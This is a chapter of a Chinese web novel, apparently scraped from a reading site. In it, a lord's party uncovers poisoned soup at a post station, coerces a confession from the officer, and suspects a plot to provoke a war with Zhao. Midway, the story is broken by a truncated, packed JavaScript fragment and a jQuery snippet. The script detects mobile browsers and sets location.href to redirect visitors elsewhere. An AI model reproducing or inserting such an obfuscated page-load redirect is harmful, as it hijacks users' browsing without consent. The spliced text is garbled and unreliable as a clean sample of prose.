马车继续向北行驶,窗外的景色渐渐变得萧瑟,枯黄的草木被寒风卷起,远处的山峦隐约可见。
不知过了多久,凌楚宜被一阵轻微的颠簸惊醒。她睁开眼,发现独孤冲正低头看着她,“醒了?前面快到驿站了,我们歇会儿再走。”
凌楚宜点了点头,坐起身来。车帘掀开,一股寒风扑面而来,她下意识地缩了缩脖子。独孤冲立刻将一件貂裘披在她身上,亲自扶她下车。
驿站外,二十名精锐暗卫早已待命,墨清和墨林正指挥着人安置行李,一切都井然有序。
“贵客,里面请。”驿站的跑堂满脸堆笑迎了上来,将他们引入驿站内。
驿站内虽不算宽敞,却收拾得干净整洁,几盆炭火在角落里熊熊燃烧着,驱散了不少春寒。
桌上早已摆着热气腾腾的饭菜,驿官笑得一脸谄媚:“贵人一路辛苦了,小的特意备了刚炖好的羊肉汤,驱寒暖身最是合适。驿站后院还留了最清净的上房,炭火都烧得旺旺的,二位要是累了,正好歇歇脚。另外小的听说北边风大,特意让人备了暖手炉和厚实的毡毯,要是贵人觉得冷,尽管吩咐小的去取。”
独孤冲牵着凌楚宜的手,淡淡扫了驿官一眼,声音里听不出情绪:“知道了,下去吧。”
驿官忙不迭应着,弓着腰退了出去。凌楚宜坐下后,看着桌上冒着热气的羊肉汤,鼻尖微动,刚拿起汤勺,手腕却被独孤冲轻轻按住。
她抬眼撞进独孤冲晦暗的眸底,心头微跳,瞬间明白了他的意思。而独孤冲也做了个“别碰,有蹊跷”的口型。
凌楚宜心下一凛,立刻放下汤勺,指尖悄然攥紧了袖中的短匕。
墨清会意,上前一步拿起银针,探入羊肉汤中,银针再次被拿起,却并未变色,依旧银亮如初。墨清微微皱眉,又从怀中取出一个瓷瓶,将里面的药粉撒入汤中少许,片刻后,汤面竟泛起一层诡异的油花。
“果然有问题。”墨清沉声道,“这汤里被人下了药。”
独孤冲的手指轻轻敲击桌面,发出沉闷的声响,眸底的寒意几乎要将周围的空气冻结,未曾开口,墨清便已会意。
片刻后便将两个瑟瑟发抖的人推了进来。跑堂的见这架势,早就吓得屁滚尿流,还未等独孤冲发话就“嗷”一嗓子昏死过去。驿官则是吓得脸色惨白,膝盖一软就跪了下去,“贵、贵人饶命!小的什么都不知道啊!”
独孤冲冷笑一声,指了指桌上的汤碗:“不知道?”
一个眼神扫过,墨清手中的银剑已抵上驿官的咽喉,冰冷的锋芒让他瞬间噤声,额上冷汗涔涔而下。
“说,是谁指使你的?”墨清的声音像淬了冰。
驿官抖得像筛糠,嘴唇哆嗦着:“贵人说什么……小的真的不知道啊……”
话音未落,墨林已将桌上的汤碗猛地端到驿官面前,瓷碗边缘几乎贴到他颤抖的唇边。
“不知道?那你自己尝尝这碗汤,看看有没有问题!”墨林的声音里带着几分狠戾,眼中闪过一丝寒光。
驿官见状,脸色瞬间变得青紫,连连往后缩,“不、不要……小的不敢……”他的眼神躲闪,显然是心虚了。
独孤冲坐在一旁的椅子上,手指依旧轻轻敲击着桌面,发出的声响在寂静的驿站内格外刺耳。“墨清。”他淡淡开口,声音里没有一丝温度。
墨清应了一声,上前一步,一把捏住驿官的下巴,迫使他张开嘴。
墨林则顺势将汤碗倾斜,几滴暗黄色的汤汁溅到驿官的衣襟上,散发出一股若有若无的腥气。驿官拼命挣扎,却被墨清死死按住,动弹不得。
就在汤汁即将入口的瞬间,驿官终于崩溃了,“我说!我说!昨天有个穿青衫的男子找到小的,给了一百两银子,说只要在贵人的汤里下这种无色无味的软筋散,事后还有重赏……小的一时鬼迷心窍,求贵人饶命啊!”
独孤冲眸色更沉,凌楚宜绷直了脊背,眼中闪过一丝冷意。
昨天?
他们从洛阳城出来不过也就大半天的路程,对方竟能这么快收到消息设下埋伏?
薄唇紧抿,凌楚宜轻声问道:“有奸细?”
独孤冲微微颔首,墨清干活也没含糊,立刻追问驿官:“那青衫男子可有其他特征?”
驿官抖着嗓子答:“左眉有一道寸长的疤,说话带点赵国口音……小的真的只知道这些了!”
赵国口音?
独孤冲听完驿官的供词,指尖的敲击声骤然停止。
“拖下去,废了他的手脚,扔去后山喂狼。”
他的声音没有半分波澜,却让在场的人都打了个寒颤。驿官瘫软在地,哭喊着求饶,却被墨清和墨林架着拖了出去,很快便没了声响。
“赵国口音……左眉疤……”独孤冲指尖攥紧,眸中寒光闪烁,“看来赵国那边,已经有人在等着我们了。”
“赵国人要害我们?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17079348|184105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>为什么?
凌楚宜不解,脸上的疑惑收不住。
他们此行只是为了寻续魂草救凌岑高性命,为何刚还未踏入赵国地界便遭人暗算?
独孤冲摇头:“耳听不一定为实。”
墨清很快回来复命,驿站周围三里内并无伏兵,那青衫男子也早已没了踪影。
独孤冲沉声道:“此地不宜久留,立刻启程。”
马车重新启动,速度比之前快了许多,寒风拍打着车帘,发出呼呼的声响。
“你觉得会是谁?是楚昭的人,还是赵国人?”凌楚宜侧头看向独孤冲,他正闭目养神,指尖却微微蜷缩,似在隐忍体内的不适。
独孤冲睁开眼,眸中闪过一丝锐光:“楚昭若想动手,不会只派个驿官下软筋散。”
“那是赵国?”
“实名下毒?”
凌楚宜一愣,当下就觉得自己犯了傻。
赵国人若真想对他们下手,又怎会如此明目张胆地留下破绽,还让那驿官说出带有赵国口音的特征,这分明是有人故意为之,想要将他们的视线引向赵国。
“或是有心之人想借我们的手,挑起两国争端。”
秦国与赵国本无仇怨,但若是独孤冲死于赵国人之手,或在赵国境内出事,那就是另一回事了。
显然,独孤冲的行踪已经暴露并被人当成了阀子。
“既然如此,你更应该回去了!”凌楚宜突然提高了音量,目光灼灼地盯着独孤冲。
独孤冲却只是淡淡地瞥了她一眼,嘴角勾起一抹嘲讽的笑,“回去?那是不可能的。我倒是要看看他们要做些什么。”
见状,凌楚宜还想再劝,独孤冲却摆了摆手,掀起车帘朝外吩咐道:“改走小路,绕开官道上的驿站。”
墨清领命,生怕横生枝节又派了暗卫沿途去查探,扫清路障。
结果还是出了意外。
随着马车猛地一震,车帘被墨清掀开,“王爷,有情况,三队人马前后包抄而来。”
独孤冲眸色一寒:“放信号弹!”
墨清的信号弹划破灰暗的天空,远处很快传来马蹄声。
独孤冲掀开车帘一角,见前方密林里冲出数骑黑衣暗卫,正与追兵缠斗。他回头看向凌楚宜,唇角勾起一抹冷冽的笑:“看来,我们的‘朋友’,比想象中更急着露面。”
凌楚宜挑眉,眼中战意升腾:“那就让他们看看,招惹我们的下场。”